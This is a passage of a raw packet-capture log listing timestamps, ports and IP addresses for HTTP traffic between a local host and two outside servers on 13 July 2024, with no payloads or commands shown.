Jul 13, 2024 07:07:06.459245920 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459280968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459315062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459336996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459336996 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459347963 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459382057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459389925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459414005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459419966 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459431887 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459449053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459482908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459491968 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459505081 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459516048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459547997 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459557056 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459557056 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459582090 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459610939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459614992 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459625006 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459650040 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459656000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459682941 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459716082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459736109 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459748983 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459783077 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459790945 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459815979 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459820032 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459831953 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459867001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459903955 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459914923 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459914923 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.459954023 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.459991932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460000992 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460000992 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460026026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460057974 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460067034 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460067034 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460089922 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460124969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460131884 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460131884 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460156918 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460171938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460186005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460215092 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460218906 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460253000 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460258961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460258961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460284948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460319042 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460330963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460330963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460351944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460385084 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460392952 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460407019 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460416079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460460901 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460460901 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460467100 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460519075 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460526943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460561991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460591078 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460596085 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460628986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460640907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460640907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460661888 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460695028 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460706949 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460706949 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460727930 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460762024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460769892 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460769892 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460794926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460829020 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460841894 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460841894 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460860968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460895061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460906982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460906982 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460927010 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460941076 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.460959911 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.460992098 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461025000 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461028099 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461057901 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461066961 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461097002 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461103916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461122990 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461139917 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461173058 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461186886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461186886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461205959 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461240053 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461247921 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461247921 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461268902 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461283922 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461293936 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461307049 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461308002 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461323977 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461337090 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461352110 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461355925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461355925 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461368084 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461383104 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461397886 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461411953 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461425066 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461426020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461426973 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461441994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461457968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461472988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461477995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461477995 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461488008 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461503029 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461515903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461530924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461545944 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461559057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461559057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461560011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461574078 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461590052 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461605072 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461620092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461623907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461623907 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461637974 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461653948 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461671114 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461684942 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461687088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461687088 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461700916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461766958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461766958 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461821079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461834908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.461883068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.461883068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.462676048 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.462691069 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.462707043 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.462723017 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.463063955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.466321945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466526031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466521978 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466542006 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466590881 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466593981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466615915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466630936 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466639042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466651917 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466662884 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466675997 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466685057 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466695070 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466710091 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466734886 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466737986 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466753960 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466756105 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466770887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466785908 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466801882 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466805935 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466816902 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466830015 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466835976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466850996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466869116 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466871023 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466882944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466900110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.466902971 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466939926 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.466974974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467161894 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467176914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467194080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467220068 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467252016 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467256069 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467272043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467288971 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467304945 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467308998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467322111 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467346907 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467384100 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467418909 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467434883 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467448950 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467464924 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467479944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467484951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467494965 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467509985 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467511892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467529058 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467545033 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467545986 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467562914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467596054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467614889 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467664003 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467679977 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467694998 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467710972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467725992 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467737913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467742920 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467757940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467760086 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467780113 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467802048 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467817068 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467823029 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467832088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467856884 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467864037 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467874050 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467890024 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467900991 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467906952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.467938900 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.467957973 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468121052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468137026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468152046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468167067 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468188047 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468189955 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468204021 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468216896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468221903 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468240023 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468256950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468266010 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468275070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468283892 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468302011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468317032 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468322992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468348026 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468364954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468368053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468381882 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468399048 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468413115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468419075 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468430996 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468440056 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468502045 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.468502998 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468518019 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.468568087 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469007969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469059944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469074965 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469119072 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469162941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469165087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469182014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469197035 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469212055 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469225883 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469239950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469274998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469326973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469341993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469357014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469371080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469387054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469393015 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469402075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469413996 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469420910 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469439030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469440937 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469476938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469506025 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469872952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469887018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469902992 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.469928980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.469959974 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470273018 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470320940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470334053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470370054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470379114 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470393896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470427990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470429897 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470446110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470449924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470496893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470527887 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470550060 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470586061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470621109 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470633984 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470649958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470664978 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470679045 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470694065 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.470695972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.470709085 CEST	80	58982	77.91.77.81	192.168.2.5
